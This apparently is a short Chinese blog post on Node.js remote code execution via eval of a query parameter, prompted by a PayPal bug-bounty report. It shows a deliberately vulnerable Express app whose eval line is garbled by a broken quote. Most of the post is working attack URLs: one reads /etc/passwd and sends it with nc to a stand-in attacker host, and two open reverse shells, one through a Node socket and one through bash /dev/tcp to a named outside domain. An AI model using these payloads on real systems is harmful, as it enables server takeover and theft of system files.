«

NodeJS远程代码执行

时间:2024-3-2 12:17     作者:韩俊     分类: Javascript


背景

@Artsploit在挖PayPal的漏洞时,发现一处NodeJS代码执行,奖励$10000美金。

测试

var express = require('express'); 
var app = express(); 
app.get('/', function (req, res) { 
  res.send('Hello eval(req.query.q));
  console.log(req.query.q);
});
app.listen(8080, function () { 
  console.log('Example listening on port 8080!');
});

任意文件读取

http://host:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')

GET SHELL

http://host:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

GET SHELL2

http://host:8080/?q=require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/wufeifei.com/7890 0>%261"')

标签: javascript

热门推荐